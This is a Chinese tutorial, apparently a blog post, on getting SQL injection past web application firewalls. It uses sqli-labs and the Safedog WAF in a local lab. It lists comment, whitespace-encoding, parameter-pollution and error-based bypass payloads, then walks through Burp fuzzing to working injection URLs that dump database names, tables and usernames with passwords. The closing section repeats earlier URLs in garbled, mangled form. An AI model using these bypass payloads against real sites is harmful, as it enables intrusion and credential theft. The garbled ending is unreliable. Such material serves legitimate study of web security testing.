11.WAF绕过原理


title: 11.WAF绕过原理
date: 2020-08-24 20:09:00
categories:

  • 4.网络安全
  • 1.Web安全
  • 1.SQL注入
    tags:
  • 1.Web安全
  • 2.SQL注入

现如今,应该是市面上所有的网站都会有着WAF的存在

Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。

安全对抗一直都存在,有防护手段,肯定就有对应的绕过方式


WAF绕过原理

熟练掌握MySQL函数和语法使用方法+深入了解中间件运行处理机制+了解WAF防护原理及方法=随心所欲绕过WAF防护

白盒绕过原理

在Sqli-labs部分关卡有一些防护手段,例如Less-25

查看代码

Less-25代码块位置进行了一些修改

<?php
include("../sql-connections/sql-connect.php");
if(isset($_GET['id']))
{
	$id=$_GET['id'];	//使用GET方法传入
	$fp=fopen('result.txt','a');
	fwrite($fp,'ID:'.$id."\n");	//将输入文件写入result.txt
	fclose($fp); //关闭文件

	$id= blacklist($id); //将ID传入blacklist函数
	$hint=$id;

	$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
	$result=mysql_query($sql);
	$row = mysql_fetch_array($result);
	if($row)
	{
	  	echo "<font size='5' color= '#99FF00'>";	
	  	echo 'Your Login name:'. $row['username'];
	  	echo "<br>";
	  	echo 'Your Password:' .$row['password'];
	  	echo "</font>";
  	}else 
	{
		echo '<font color= "#FFFF00">';
		print_r(mysql_error());
		echo "</font>";  
	}
}else 
{ 
	echo "Please input the ID as parameter with numeric value";
}

function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//去掉OR(不区分大小写) i的功能就是忽略大小写
	$id= preg_replace('/AND/i',"", $id);		//去掉AND(不区分大小写)
	return $id;
}
?>

id传入后,使用了blacklist函数过滤了orAND,并且不区分大小写

常用绕过思维

  1. 大小写变形:Or,OR,oR (此场景不可用)
  2. 等价替换:and -> && , or -> ||
  3. OorR经过preg_replace替换为OR,中间的or被替换为空
  4. …等等

由于白盒场景能够看到代码,所以可以针对绕过

黑盒绕过原理

由于没有代码,所以只能不断进行试探,尝试进行突破

架构层绕过WAF

  1. 寻找源站->争对云WAF

    image-20200824144927839

  2. 利用同网段->绕过WAF防护区域

    使用同网段主机对目标主机进行攻击,即可绕开WAF

    image-20200824150142504

  3. 利用边界漏洞->绕过WAF防护区域

    与方式2类似,寻找同网段是否有存在漏洞主机,找到后,使用存在漏洞的主机对目标主机进行攻击,即可绕开WAF

    image-20200824150105222

资源限制角度绕过waf

WAF的首要前提是保证网站服务的正常运行,故一些大的数据包如果分析,会严重拖慢网站的响应速度,这时候构造大的数据包,数据包中有攻击代码,就有可能绕过WAF检测

协议层面绕过WAF的检测

1.协议未覆盖绕过waf

//假设某WAF,只检测GET不请求POST,则可以进行转换请求方式

//对上传文件数据格式不进行防护
Content-Type变换:application/x-www-form-urlencoded;→multipart/form-data;

2.参数污染

比如
index.php?id=1&id=2
网站程序获取:id=2
waf获取:id=1	就不会在检测id=2后面的语句
因此可以在id=2的后面加上测试语句进行测试

规则层面绕过(***)

可以理解为寻找语法正确可以注入但waf匹配不到的数据格式

  1. SQL注释符绕过

    使用注释符填充空格

    union/**/select
    union/*aaaa%01bbs*/select
    union/*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*/select
    内联注释:/*!xxx*/
    
  2. 空白符绕过

    MySQL空白符:%09,%0A,%0B,%0D,%20,%0C,%A0,/*xxx*/
    正则的空白符:%09,%0A,%0B,%0D,%20
    Example-1: union%250Cselect
    Example-2: union%25A0select
    
  3. 函数分割符号

    concat%2520(
    concat/**/(
    concat%250c(
    concat%25a0(
    
  4. 浮点数词法解析

    select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0
    select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0
    select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0
    
  5. 利用error-based进行SQL注入:error-based SQL注入函数非常容易被忽略

    extractvalue(1, concat(0x5c,md5(3)));
    updatexml(1, concat(0x5d,md5(3)),1);
    GeometryCollection((select*from(select*from(select@@version)f)x))
    polygon((select*from(select name_const(version(),1))x))
    linestring()
    multipoint()
    multilinestring()
    multipolygon()
    
  6. mysql特殊语法

    select{x table_name}from{x information_schema.tables};
    

Fuzz绕过WAF

在讲fuzz与sql注入结合绕waf之前我们先来讲讲什么是fuzz,fuzz其实就是一种对请求参数的模糊测试,简单来说就是对一个接口的某个参数或多个参数用自定义的内容进行批量提交,根据接口返回内容来判断自定义内容参数对接口的影响。

每一个点都能找到绕过的方法,以注释为例,开始Fuzz

基本模式
union/*something*/select

注释符绕过
先测试最基本的:union/**/select
再测试中间引入特殊字:union/*aaaa%01bbs*/select
*最后测试注释长度:union/*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*/select

场景演示

测试环境:windows10+phpstudy+sqlilabs+安全狗

测试环境演示测试,提交攻击代码,发现被拦截

http://192.168.192.128/Less-1/?id=-1' union select 1,(version()),2 --+

image-20200825144008196

使用burp抓包,因为burp可以反复提交数据,比较方便

image-20200825194651812

我们可以看到url编码了,空格被替换成了20%

我们可以使用一下编码替换空格

MySQL空白符:%09,%0A,%0B,%0D,%20,%0C,%A0,/*xxx*/

我们模拟替换成/*xxx*/,发送至测试器,选择Battering ram模式(把一个payload加载到多个位置),将空格编码替换为参数

image-20200825194719393

修改字符集,暴力破解,添加参数

image-20200825194754623

由于是本地测试,所以线程数可以弄高一点

image-20200825194823181

开始攻击,通过长度来判断是否绕过

image-20200825194920866

发现长度944,打开正常返回页面,注入成功

image-20200825195010203

将空格替换为/**%//*/

构造攻击url放在浏览器中进行测试

http://192.168.192.128/Less-1/?id=-1%27/**%//*/union/**%//*/select/**%//*/1,(version()),2--+

注入成功

image-20200825195108072

取数据库名

http://192.168.192.128/Less-1/?id=-1%27/**%//*/union/**%//*/select/**%//*/1,(select/**%//*/schema_name/**%//*/from/**%//*/information_schema.schemata/**%//*/limit/**%//*/0,1),2--+

image-20200825195400062

取数据表名

http://192.168.101.200/Less-1/?id=-1%27/*0%5e99*/union/*0%5e99*/select/*0%5e99*/1,(select/**%//*/group_concat(table_name)/**%//*/from/**%//*/information_schema.tables/**%//*/where/**%//*/table_schema=database()),2--+

image-20200825200229931

查询表内容

http://192.168.192.128/Less-1/?id=-1%27/**%//*/union/**%//*/select/**%//*/1,(select/**%//*/concat_ws('~',username,password)/**%//*/from/**%//*/security.users/**%//*//**%//*/limit/**%//*/0,1),2--+

atabase()),2–+


[外链图片转存中...(img-Uzm2hrRc-1598498803947)]

### 查询表内容

http://192.168.192.128/Less-1/?id=-1%27/%//*/union/%///select/**%///1,(select/%//*/concat_ws(’~’,username,password)/%///from/**%///security.users/%//*//%///limit/**%///0,1),2–+


![image-20200825200702194](https://imgconvert.csdnimg.cn/aHR0cHM6Ly9za3lzdGFycnktMTI1MTE1NzI0Ny5jb3MuYXAtY2hlbmdkdS5teXFjbG91ZC5jb20vaW1nL2ltYWdlLTIwMjAwODI1MjAwNzAyMTk0LnBuZw?x-oss-process=image/format,png)
  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值